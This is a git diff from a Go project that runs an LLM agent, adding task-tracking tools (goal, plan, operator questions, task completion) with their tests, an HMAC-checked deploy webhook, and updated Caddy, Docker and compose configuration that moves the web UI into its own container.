t.Errorf("truncated = true for a 5-message session under a %d limit, want false", limit)
|
||||
}
|
||||
if len(msgs2) != 5 {
|
||||
t.Errorf("got %d messages, want 5", len(msgs2))
|
||||
}
|
||||
}
|
||||
|
||||
// TestProposePlan_AppendVsReplace is the concrete proof for the plan-append
|
||||
// fix (commit 5384499, "plan panel showed only the latest step, not the full
|
||||
// plan"): proposePlan must REPLACE the step list only while every existing
|
||||
// step is still 'pending' (a genuine pre-execution revision), and APPEND
|
||||
// once any step has started — otherwise a model that calls propose_plan once
|
||||
// per step (rather than once with the full list, as instructed) erases every
|
||||
// already-completed step each time, and the operator only ever sees the
|
||||
// latest single step instead of real progress.
|
||||
func TestProposePlan_AppendVsReplace(t *testing.T) {
|
||||
s := newTestStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
sess, err := s.createSession(ctx, "plan append test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
|
||||
// First call: no steps exist yet — must persist as-is (replace mode,
|
||||
// trivially: nothing to replace).
|
||||
out1, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "Step A"}})
|
||||
if err != nil {
|
||||
t.Fatalf("proposePlan #1: %v", err)
|
||||
}
|
||||
if len(out1) != 1 || out1[0]["seq"] != 1 {
|
||||
t.Fatalf("proposePlan #1 = %+v, want one step at seq 1", out1)
|
||||
}
|
||||
|
||||
// Mark step 1 as started.
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep: %v", err)
|
||||
}
|
||||
|
||||
// Second call, simulating a model that (against instructions) calls
|
||||
// propose_plan again per-step instead of once with the full list: since
|
||||
// step 1 has left 'pending', this MUST append, not replace.
|
||||
out2, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "Step B"}})
|
||||
if err != nil {
|
||||
t.Fatalf("proposePlan #2: %v", err)
|
||||
}
|
||||
if len(out2) != 1 || out2[0]["seq"] != 2 {
|
||||
t.Fatalf("proposePlan #2 = %+v, want one step at seq 2 (appended after the running step 1)", out2)
|
||||
}
|
||||
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
if len(steps) != 2 {
|
||||
t.Fatalf("got %d persisted steps, want 2 (step 1 must survive the second propose_plan call)", len(steps))
|
||||
}
|
||||
if steps[0].Title != "Step A" || steps[0].Status != "running" {
|
||||
t.Errorf("step 1 = %+v, want Step A still running (not erased)", steps[0])
|
||||
}
|
||||
if steps[1].Title != "Step B" || steps[1].Status != "pending" {
|
||||
t.Errorf("step 2 = %+v, want Step B pending", steps[1])
|
||||
}
|
||||
|
||||
// Third call BEFORE anything runs on a fresh session: every step is
|
||||
// still pending, so this must REPLACE, not append.
|
||||
sess2, err := s.createSession(ctx, "plan replace test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Original"}}); err != nil {
|
||||
t.Fatalf("proposePlan (initial): %v", err)
|
||||
}
|
||||
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Revised"}}); err != nil {
|
||||
t.Fatalf("proposePlan (revise before execution): %v", err)
|
||||
}
|
||||
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
if len(revisedSteps) != 1 || revisedSteps[0].Title != "Revised" {
|
||||
t.Fatalf("got %+v, want a single 'Revised' step (pre-execution revise must replace, not append)", revisedSteps)
|
||||
}
|
||||
}
|
||||
293
cmd/nomos/tasks.go
Normal file
293
cmd/nomos/tasks.go
Normal file
@@ -0,0 +1,293 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
||||
// shared MCP server (api:8090/mcp) has no session id — so these are handled
|
||||
// in-process by nomos, which knows the session/task and holds the store.
|
||||
// buildTools appends these to the model's tool list; the agent loop routes a
|
||||
// call whose name isTaskTool to handleTaskTool instead of the MCP client.
|
||||
//
|
||||
// Phase 3 ships complete_task; set_goal / propose_plan / update_plan_step /
|
||||
// ask_operator land in later phases through the same mechanism.
|
||||
|
||||
func taskToolDefs() []toolDef {
|
||||
return []toolDef{
|
||||
{
|
||||
Name: "set_goal",
|
||||
Description: "State the goal of this task in one sentence, as early as you " +
|
||||
"can. This is what the task is trying to achieve (e.g. 'Deploy TypeType " +
|
||||
"as an LXC on strong'); it heads the task on the board and the context " +
|
||||
"panel. Call it once you understand what the operator wants.",
|
||||
InputSchema: map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"goal": map[string]any{"type": "string", "description": "The task's goal, one sentence."},
|
||||
},
|
||||
"required": []string{"goal"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "propose_plan",
|
||||
Description: "Lay out ALL the ordered steps you'll take to reach the goal, in ONE " +
|
||||
"call, listing every step end-to-end — not just the next one. The operator " +
|
||||
"sees the full list in the context panel and watches it progress; a plan " +
|
||||
"with only 1 step looks broken to them even if you intend to add more later. " +
|
||||
"Your FIRST step should be research (prior knowledge, relations, blast radius " +
|
||||
"— not just this target's status) and your LAST step should be writing back " +
|
||||
"what you learned (update_entity_attributes / create_relationship / " +
|
||||
"upsert_knowledge) BEFORE complete_task — this is what keeps the knowledge " +
|
||||
"graph from drifting out of date. " +
|
||||
"Call this ONCE, before you start executing (after gathering what you need). " +
|
||||
"As you work, call update_plan_step (not propose_plan again) to advance each " +
|
||||
"step. Only re-call propose_plan if the plan itself has fundamentally changed " +
|
||||
"(e.g. a new approach is needed) — in that case new steps are appended after " +
|
||||
"whatever already ran, never erasing completed work.",
|
||||
InputSchema: map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"steps": map[string]any{
|
||||
"type": "array",
|
||||
"description": "Ordered steps, first to last.",
|
||||
"items": map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"title": map[string]any{"type": "string", "description": "Short imperative step title (e.g. 'Create the LXC')."},
|
||||
"detail": map[string]any{"type": "string", "description": "Optional one-line detail."},
|
||||
"target_slug": map[string]any{"type": "string", "description": "Optional entity slug this step acts on (e.g. lxc:typetype)."},
|
||||
},
|
||||
"required": []string{"title"},
|
||||
},
|
||||
},
|
||||
},
|
||||
"required": []string{"steps"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "update_plan_step",
|
||||
Description: "Advance a plan step as you work it. Set status to 'running' when " +
|
||||
"you start it (pass execution_id if the step queued a gated action, so " +
|
||||
"the board can auto-close it when that finishes), then 'done' / 'failed' " +
|
||||
"/ 'skipped' / 'blocked' when it resolves. Keeps the operator's progress " +
|
||||
"view honest.",
|
||||
InputSchema: map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"seq": map[string]any{"type": "integer", "description": "1-based step number from propose_plan."},
|
||||
"status": map[string]any{"type": "string", "enum": []string{"running", "done", "failed", "skipped", "blocked"}, "description": "New status for the step."},
|
||||
"execution_id": map[string]any{"type": "string", "description": "Optional execution UUID this step is running, so it auto-closes on completion."},
|
||||
},
|
||||
"required": []string{"seq", "status"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "ask_operator",
|
||||
Description: "Ask the operator a question when you hit a real decision only " +
|
||||
"they can make — an ambiguous target, a trade-off, missing information, " +
|
||||
"or a destructive choice not already approved. This pins a structured " +
|
||||
"question card in the context panel (with your options and the entities " +
|
||||
"involved) and PAUSES the task until they answer; their answer resumes " +
|
||||
"you automatically. Do NOT use it for things you can determine yourself " +
|
||||
"with tools — only for genuine decisions.",
|
||||
InputSchema: map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"prompt": map[string]any{"type": "string", "description": "The question, stated plainly."},
|
||||
"why": map[string]any{"type": "string", "description": "Why you're asking / what's at stake."},
|
||||
"options": map[string]any{
|
||||
"type": "array", "items": map[string]any{"type": "string"},
|
||||
"description": "The choices, if it's a pick-one decision.",
|
||||
},
|
||||
"context_entities": map[string]any{
|
||||
"type": "array", "items": map[string]any{"type": "string"},
|
||||
"description": "Entity slugs relevant to the decision (shown as chips).",
|
||||
},
|
||||
},
|
||||
"required": []string{"prompt"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "complete_task",
|
||||
Description: "Mark the current task finished. Call this once the goal is " +
|
||||
"verified done — or when you've genuinely failed or only partially " +
|
||||
"succeeded. Sets the task's outcome and a one-line summary shown on the " +
|
||||
"task board. Record what you learned with upsert_knowledge BEFORE " +
|
||||
"completing, so future tasks on the same entities benefit.",
|
||||
InputSchema: map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"outcome": map[string]any{
|
||||
"type": "string",
|
||||
"enum": []string{"success", "failure", "partial"},
|
||||
"description": "Did the task achieve its goal?",
|
||||
},
|
||||
"summary": map[string]any{
|
||||
"type": "string",
|
||||
"description": "One line describing the result (shown on the task card).",
|
||||
},
|
||||
},
|
||||
"required": []string{"outcome", "summary"},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// toInt coerces a JSON tool-arg number (float64 after unmarshal) to int.
|
||||
func toInt(v any) int {
|
||||
switch n := v.(type) {
|
||||
case float64:
|
||||
return int(n)
|
||||
case int:
|
||||
return n
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
// toStringSlice coerces a JSON tool-arg array to a non-empty []string.
|
||||
func toStringSlice(v any) []string {
|
||||
arr, ok := v.([]any)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
out := make([]string, 0, len(arr))
|
||||
for _, e := range arr {
|
||||
if s, ok := e.(string); ok && strings.TrimSpace(s) != "" {
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// handleTaskTool executes a nomos-local task tool. Returns (result, true) if it
|
||||
// handled the call, or (nil, false) if name is not a local task tool (so the
|
||||
// caller forwards it to the MCP client).
|
||||
func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args map[string]any) (any, bool) {
|
||||
switch name {
|
||||
case "set_goal":
|
||||
goal, _ := args["goal"].(string)
|
||||
if strings.TrimSpace(goal) == "" {
|
||||
return "error: set_goal needs a goal", true
|
||||
}
|
||||
if err := a.store.setGoal(ctx, sessionID, goal); err != nil {
|
||||
return fmt.Sprintf("error setting goal: %v", err), true
|
||||
}
|
||||
return "Goal set: " + goal, true
|
||||
|
||||
case "propose_plan":
|
||||
raw, _ := args["steps"].([]any)
|
||||
var steps []planStepInput
|
||||
for _, r := range raw {
|
||||
m, ok := r.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
title, _ := m["title"].(string)
|
||||
if strings.TrimSpace(title) == "" {
|
||||
continue
|
||||
}
|
||||
detail, _ := m["detail"].(string)
|
||||
target, _ := m["target_slug"].(string)
|
||||
steps = append(steps, planStepInput{Title: title, Detail: detail, TargetSlug: target})
|
||||
}
|
||||
if len(steps) == 0 {
|
||||
return "error: propose_plan needs at least one step with a title", true
|
||||
}
|
||||
persisted, err := a.store.proposePlan(ctx, sessionID, steps)
|
||||
if err != nil {
|
||||
return fmt.Sprintf("error proposing plan: %v", err), true
|
||||
}
|
||||
return fmt.Sprintf("Plan set: %d step(s). Execute them now, marking each with update_plan_step as you go.", len(persisted)), true
|
||||
|
||||
case "update_plan_step":
|
||||
seq := toInt(args["seq"])
|
||||
status, _ := args["status"].(string)
|
||||
execID, _ := args["execution_id"].(string)
|
||||
if seq <= 0 || status == "" {
|
||||
return "error: update_plan_step needs seq (>=1) and status", true
|
||||
}
|
||||
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID); err != nil {
|
||||
return fmt.Sprintf("error updating step %d: %v", seq, err), true
|
||||
}
|
||||
return fmt.Sprintf("Step %d → %s", seq, status), true
|
||||
|
||||
case "ask_operator":
|
||||
prompt, _ := args["prompt"].(string)
|
||||
if strings.TrimSpace(prompt) == "" {
|
||||
return "error: ask_operator needs a prompt", true
|
||||
}
|
||||
qctx := map[string]any{}
|
||||
if why, _ := args["why"].(string); strings.TrimSpace(why) != "" {
|
||||
qctx["why"] = why
|
||||
}
|
||||
if opts := toStringSlice(args["options"]); len(opts) > 0 {
|
||||
qctx["options"] = opts
|
||||
}
|
||||
if ents := toStringSlice(args["context_entities"]); len(ents) > 0 {
|
||||
qctx["entities"] = ents
|
||||
}
|
||||
if _, err := a.store.askOperator(ctx, sessionID, prompt, qctx); err != nil {
|
||||
return fmt.Sprintf("error posting question: %v", err), true
|
||||
}
|
||||
return "Question posted to the operator; the task is paused until they answer. " +
|
||||
"Do not continue or call more tools — end your turn now and wait for their answer.", true
|
||||
|
||||
case "complete_task":
|
||||
outcome, _ := args["outcome"].(string)
|
||||
summary, _ := args["summary"].(string)
|
||||
switch outcome {
|
||||
case "":
|
||||
outcome = "success" // no outcome given at all — assume success, the common case
|
||||
case "success", "failure", "partial":
|
||||
// valid, use as-is
|
||||
default:
|
||||
// The tool schema declares an enum, but a weaker model (or a
|
||||
// typo) can still send anything — an unrecognized value used to
|
||||
// persist as-is, silently, with only "failure" special-cased
|
||||
// (store.completeTask derives status='failed' from it; anything
|
||||
// else became status='done' regardless of what the value
|
||||
// actually said). Default to "partial" rather than silently
|
||||
// treating an unrecognized value as "success" — safer to
|
||||
// under-claim than over-claim a task's outcome.
|
||||
slog.Warn("nomos: complete_task got an unrecognized outcome, defaulting to partial",
|
||||
"session", sessionID, "outcome", outcome)
|
||||
outcome = "partial"
|
||||
}
|
||||
if err := a.store.completeTask(ctx, sessionID, outcome, summary); err != nil {
|
||||
return fmt.Sprintf("error completing task: %v", err), true
|
||||
}
|
||||
return fmt.Sprintf("Task marked %s: %s", outcome, summary), true
|
||||
default:
|
||||
return nil, false
|
||||
}
|
||||
}
|
||||
|
||||
// autoCompleteTrivialTask is the case-1 fix from
|
||||
// plans/2026-07-11-task-completion-safety-net.md: a session that never
|
||||
// called set_goal never framed itself as a structured task, so a turn that
|
||||
// ends with a plain-text answer and no further tool calls IS the task
|
||||
// ending — but the model consistently skips complete_task for exactly this
|
||||
// case (confirmed live: 43/50 production sessions were a single trivial
|
||||
// Q&A exchange, none of which ever reached a terminal status). Rather than
|
||||
// leave agent_sessions.status stuck at its creation-time default forever,
|
||||
// close it out mechanically here: no judgment call needed, since SOUL.md
|
||||
// already treats a one-shot answered question as done by definition.
|
||||
func (a *agent) autoCompleteTrivialTask(ctx context.Context, sessionID, responseText string) {
|
||||
summary := strings.TrimSpace(responseText)
|
||||
summary = strings.SplitN(summary, "\n", 2)[0] // first line only — the board shows one line
|
||||
const maxLen = 120
|
||||
if len(summary) > maxLen {
|
||||
summary = summary[:maxLen] + "…"
|
||||
}
|
||||
if summary == "" {
|
||||
summary = "Answered without further action needed."
|
||||
}
|
||||
if err := a.store.completeTask(ctx, sessionID, "success", summary); err != nil {
|
||||
slog.Error("nomos: auto-complete trivial task failed", "session", sessionID, "error", err)
|
||||
}
|
||||
}
|
||||
@@ -1,17 +1,14 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/config"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
@@ -21,50 +18,9 @@ import (
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/dtoro/oikos/internal/scheduler"
|
||||
"github.com/dtoro/oikos/internal/secrets"
|
||||
"github.com/dtoro/oikos/web"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// uiHandler serves the control-room SPA from assets embedded at build time
|
||||
// (web/embed.go), with SPA fallback to index.html. Requests arrive as /ui/*;
|
||||
// the /ui prefix is stripped to index into the embedded dist/ tree. Files are
|
||||
// written via http.ServeContent (not http.FileServer) to avoid its
|
||||
// index.html -> "./" canonical redirect, which loops for /ui/.
|
||||
func uiHandler() http.Handler {
|
||||
dist, err := web.DistFS()
|
||||
if err != nil {
|
||||
slog.Warn("ui: embedded assets unavailable", "error", err)
|
||||
return http.NotFoundHandler()
|
||||
}
|
||||
serve := func(w http.ResponseWriter, r *http.Request, name string) bool {
|
||||
f, err := dist.Open(name)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer f.Close()
|
||||
data, err := io.ReadAll(f)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
http.ServeContent(w, r, name, time.Time{}, bytes.NewReader(data))
|
||||
return true
|
||||
}
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
name := strings.TrimPrefix(strings.TrimPrefix(r.URL.Path, "/ui"), "/")
|
||||
if name == "" {
|
||||
name = "index.html"
|
||||
}
|
||||
if serve(w, r, name) {
|
||||
return
|
||||
}
|
||||
// SPA fallback: serve index.html for unknown client-side routes.
|
||||
if serve(w, r, "index.html") {
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
var schedulerRunner = scheduler.RunnerForMain()
|
||||
var notifierRunner = notifier.RunnerForMain()
|
||||
|
||||
@@ -129,7 +85,7 @@ func main() {
|
||||
go notifierRunner(ctx, pool, cfg)
|
||||
|
||||
slog.Info("all: starting api with scheduler + notifier in background")
|
||||
if err := httpapi.ListenAndServe(ctx, pool, cfg, uiHandler()); err != nil {
|
||||
if err := httpapi.ListenAndServe(ctx, pool, cfg); err != nil {
|
||||
slog.Error("api failed", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
@@ -308,7 +264,7 @@ func runAPI(ctx context.Context, cfg config.Config) error {
|
||||
return fmt.Errorf("migrations: %w", err)
|
||||
}
|
||||
|
||||
err = httpapi.ListenAndServe(ctx, pool, cfg, uiHandler())
|
||||
err = httpapi.ListenAndServe(ctx, pool, cfg)
|
||||
if err == http.ErrServerClosed {
|
||||
return nil
|
||||
}
|
||||
|
||||
96
cmd/webhook/main.go
Normal file
96
cmd/webhook/main.go
Normal file
@@ -0,0 +1,96 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/safego"
|
||||
)
|
||||
|
||||
func main() {
|
||||
port := os.Getenv("WEBHOOK_LISTEN")
|
||||
if port == "" {
|
||||
port = ":9797"
|
||||
}
|
||||
|
||||
secret := os.Getenv("WEBHOOK_HMAC_SECRET")
|
||||
if secret == "" {
|
||||
fmt.Fprintln(os.Stderr, "WEBHOOK_HMAC_SECRET must be set")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
repoDir := os.Getenv("WEBHOOK_REPO_DIR")
|
||||
if repoDir == "" {
|
||||
repoDir = os.Getenv("HOME") + "/Projects/oikos"
|
||||
}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/deploy", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
http.Error(w, "read body failed", 400)
|
||||
return
|
||||
}
|
||||
|
||||
sigHex := r.Header.Get("X-Hub-Signature-256")
|
||||
if sigHex == "" {
|
||||
http.Error(w, "missing signature", 401)
|
||||
return
|
||||
}
|
||||
|
||||
mac := hmac.New(sha256.New, []byte(secret))
|
||||
mac.Write(body)
|
||||
expected := "sha256=" + hex.EncodeToString(mac.Sum(nil))
|
||||
|
||||
if !hmac.Equal([]byte(sigHex), []byte(expected)) {
|
||||
slog.Warn("webhook: invalid signature")
|
||||
http.Error(w, "invalid signature", 401)
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("webhook: deploy triggered")
|
||||
w.WriteHeader(http.StatusAccepted)
|
||||
w.Write([]byte(`{"status":"deploy started"}`))
|
||||
|
||||
safego.Go("webhook:deploy", func() {
|
||||
cmd := exec.Command(repoDir + "/scripts/deploy.sh")
|
||||
cmd.Dir = repoDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"REPO_DIR="+repoDir,
|
||||
"PROFILE=full",
|
||||
)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
start := time.Now()
|
||||
if err := cmd.Run(); err != nil {
|
||||
slog.Error("webhook: deploy failed", "error", err, "duration", time.Since(start))
|
||||
return
|
||||
}
|
||||
slog.Info("webhook: deploy succeeded", "duration", time.Since(start))
|
||||
})
|
||||
})
|
||||
|
||||
mux.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(200)
|
||||
w.Write([]byte("ok"))
|
||||
})
|
||||
|
||||
slog.Info("webhook: listening", "port", port)
|
||||
if err := http.ListenAndServe(port, mux); err != nil {
|
||||
slog.Error("webhook: serve failed", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
@@ -1,35 +1,59 @@
|
||||
# Caddy reverse-proxy snippet for Oikos — Phase 6 cutover
|
||||
# Lives in dtoro/caddy-conf repo; auto-deploys to caddy (LXC 121).
|
||||
# Replaces the old MCP server on apps/105 with the Docker stack on mac-mini.
|
||||
# Caddy reverse-proxy snippet for Oikos — Phase 6 cutover, updated for the
|
||||
# client/server split (plans/2026-07-12-wails-desktop-app.md, Phase 0).
|
||||
# Lives in dtoro/caddy-conf repo; auto-deploys to caddy (LXC 121). THIS COPY
|
||||
# IS A REFERENCE, NOT DEPLOYED FROM HERE — keep it in sync manually.
|
||||
#
|
||||
# The SPA is no longer embedded in the oikos binary; it's built and served
|
||||
# by its own container (compose/web/Dockerfile, docker-compose.yml's `web`
|
||||
# service, mac-mini:8091) rather than as static files read off local disk —
|
||||
# see that service's comment for why. Every API/MCP/agent route now requires
|
||||
# a bearer token in all cases (api's dev-open bypass was removed) —
|
||||
# non-browser clients (Wails, curl, a future mobile client) can't complete
|
||||
# Authentik's browser-session login, so those routes bypass `import
|
||||
# authentik` the same way the enrollment endpoint always has and rely on
|
||||
# api's own combinedAuth instead. See the Wails plan's "Plan review"
|
||||
# section, gap 1.
|
||||
#
|
||||
# mac-mini and the LXC subnet are routed, so these target its direct LAN IP
|
||||
# rather than the mesh (netbird) hostname.
|
||||
|
||||
# Oikos REST API (operator) — enrollment endpoint bypasses Authentik
|
||||
oikos.hubris.network {
|
||||
tls {
|
||||
dns ionos {env.IONOS_AUTH_API_TOKEN}
|
||||
}
|
||||
@enroll path /api/v1/clients/enroll
|
||||
handle @enroll {
|
||||
reverse_proxy <mac-mini-mesh-ip>:8090
|
||||
reverse_proxy 192.168.178.182:8090
|
||||
}
|
||||
# Nomos agent, same-origin for the control-room UI (EventSource/fetch can't
|
||||
# set cross-origin auth headers). Authentik gates it; handle_path strips
|
||||
# the /agent prefix so /agent/chat -> nomos /chat.
|
||||
handle_path /agent/* {
|
||||
import authentik
|
||||
reverse_proxy <mac-mini-mesh-ip>:8092
|
||||
# Bearer-token clients — api's combinedAuth (internal/httpapi/server.go)
|
||||
# is the real gate for all three; Authentik would just reject non-browser
|
||||
# callers before they ever get there. /agent/* now goes through api's own
|
||||
# (auth'd) proxy mount rather than straight to nomos:8092, so it's
|
||||
# covered by the same check as /api/v1/* and /mcp.
|
||||
@api path /api/v1/* /mcp /agent/*
|
||||
handle @api {
|
||||
reverse_proxy 192.168.178.182:8090
|
||||
}
|
||||
# Everything else: the static SPA shell, served by the `web` container.
|
||||
# No sensitive data lives here — real enforcement is the bearer-token
|
||||
# check above — Authentik is just a first line of defense against
|
||||
# anonymous crawlers finding the bundle.
|
||||
handle {
|
||||
import authentik
|
||||
reverse_proxy <mac-mini-mesh-ip>:8090
|
||||
reverse_proxy 192.168.178.182:8091
|
||||
}
|
||||
}
|
||||
|
||||
# Oikos MCP endpoint (agents) — no auth required
|
||||
# Oikos MCP endpoint (agents) — bearer token required (api's combinedAuth),
|
||||
# no separate gate here.
|
||||
mcp.hubris.network {
|
||||
reverse_proxy <mac-mini-mesh-ip>:8090
|
||||
reverse_proxy 192.168.178.182:8090
|
||||
}
|
||||
|
||||
# Nomos gateway (workstation access) — formerly hermes.hubris.network
|
||||
# Nomos's own gateway (workstation access) — still has NO auth of its own
|
||||
# (C1, plans/2026-07-11-nomos-agent-code-review.md, still open). Anyone who
|
||||
# can reach this host can talk to nomos directly, bypassing api entirely.
|
||||
# Not fixed by the client/server split — tracked separately.
|
||||
nomos.hubris.network {
|
||||
reverse_proxy <mac-mini-mesh-ip>:8092
|
||||
reverse_proxy 192.168.178.182:8092
|
||||
}
|
||||
|
||||
@@ -19,7 +19,7 @@ COPY nomos/ /app/nomos/
|
||||
ENV NOMOS_MCP_URL=http://api:8090/mcp
|
||||
ENV NOMOS_AGENT_SLUG=agent:nomos
|
||||
ENV NOMOS_LISTEN=:8092
|
||||
ENV NOMOS_MODEL=deepseek/deepseek-v4-flash
|
||||
ENV NOMOS_MODEL=deepseek/deepseek-v4-pro
|
||||
|
||||
EXPOSE 8092
|
||||
|
||||
|
||||
@@ -1,14 +1,7 @@
|
||||
# Multi-stage Dockerfile for Oikos (ADR 0001: single binary)
|
||||
# Stage 1: build web UI
|
||||
FROM node:22-alpine AS ui-builder
|
||||
|
||||
WORKDIR /web
|
||||
COPY web/package.json web/package-lock.json ./
|
||||
RUN npm ci
|
||||
COPY web/ ./
|
||||
RUN npm run build
|
||||
|
||||
# Stage 2: build Go binary
|
||||
# Dockerfile for Oikos API server. The SPA is no longer embedded (see
|
||||
# plans/2026-07-12-wails-desktop-app.md 0.1) — it's built and deployed
|
||||
# separately as static files (see `make ui` / `make deploy-ui`).
|
||||
# Stage 1: build Go binary
|
||||
FROM golang:1.26-alpine AS builder
|
||||
|
||||
RUN apk add --no-cache git ca-certificates
|
||||
@@ -18,8 +11,6 @@ COPY go.mod go.sum ./
|
||||
RUN go mod download
|
||||
|
||||
COPY . .
|
||||
# Bring in the built SPA so //go:embed all:dist (web/embed.go) has real assets.
|
||||
COPY --from=ui-builder /web/dist ./web/dist
|
||||
|
||||
RUN CGO_ENABLED=0 go build -o /oikos -tags timetzdata -ldflags="-s -w" ./cmd/oikos
|
||||
|
||||
@@ -31,6 +22,5 @@ RUN apk add --no-cache ca-certificates openssh-client-default
|
||||
COPY --from=builder /oikos /oikos
|
||||
COPY --from=builder /build/seeds /seeds
|
||||
COPY --from=builder /build/migrations /migrations
|
||||
# web/dist is embedded in the binary (web/embed.go) — no runtime copy needed.
|
||||
|
||||
ENTRYPOINT ["/oikos"]
|
||||
|
||||
5
compose/web/Caddyfile
Normal file
5
compose/web/Caddyfile
Normal file
@@ -0,0 +1,5 @@
|
||||
:80 {
|
||||
root * /srv
|
||||
file_server
|
||||
try_files {path} /index.html
|
||||
}
|
||||
18
compose/web/Dockerfile
Normal file
18
compose/web/Dockerfile
Normal file
@@ -0,0 +1,18 @@
|
||||
# Dockerfile for the oikos control-room SPA. Built separately from the
|
||||
# oikos binary (compose/oikos/Dockerfile) — see docker-compose.yml's `web`
|
||||
# service. The outer production Caddy (caddy-conf repo, LXC 121) handles
|
||||
# Authentik + splits /api/*, /mcp, /agent/* off to the api service; this
|
||||
# container only serves static files with SPA-fallback routing.
|
||||
|
||||
FROM node:22-alpine AS builder
|
||||
|
||||
WORKDIR /build/web
|
||||
COPY web/package.json web/package-lock.json ./
|
||||
RUN npm ci
|
||||
COPY web/ ./
|
||||
RUN npm run build
|
||||
|
||||
FROM caddy:2-alpine
|
||||
|
||||
COPY --from=builder /build/web/dist /srv
|
||||
COPY compose/web/Caddyfile /etc/caddy/Caddyfile
|
||||
@@ -1,10 +1,17 @@
|
||||
# Docker Compose for Oikos development
|
||||
# Usage: docker compose up -d postgres (just the DB)
|
||||
# make dev (full dev stack)
|
||||
#
|
||||
# The SPA isn't embedded in the oikos binary (see
|
||||
# plans/2026-07-12-wails-desktop-app.md 0.1/0.6) but it IS part of this
|
||||
# stack as its own `web` service (compose/web/Dockerfile), so it deploys
|
||||
# through the same push-to-main pipeline as everything else. `npm run dev`
|
||||
# in web/ is still the fast local-iteration path.
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: timescale/timescaledb:2.17.2-pg16
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
POSTGRES_DB: oikos
|
||||
POSTGRES_USER: oikos
|
||||
@@ -51,6 +58,7 @@ services:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: compose/oikos/Dockerfile
|
||||
restart: unless-stopped
|
||||
profiles: ["dev", "full"]
|
||||
depends_on:
|
||||
seed:
|
||||
@@ -60,6 +68,12 @@ services:
|
||||
OIKOS_API_LISTEN: ":8090"
|
||||
OIKOS_ENV: dev
|
||||
OIKOS_DEBUG: "true"
|
||||
# No dev-open auth bypass (plans/2026-07-12-wails-desktop-app.md 0.4) —
|
||||
# every request needs this token. nomos uses the same value to call
|
||||
# back into api's /mcp and /api/v1/approvals/*/decision.
|
||||
OIKOS_MCP_BEARER_TOKEN: ${OIKOS_MCP_BEARER_TOKEN:-dev-token}
|
||||
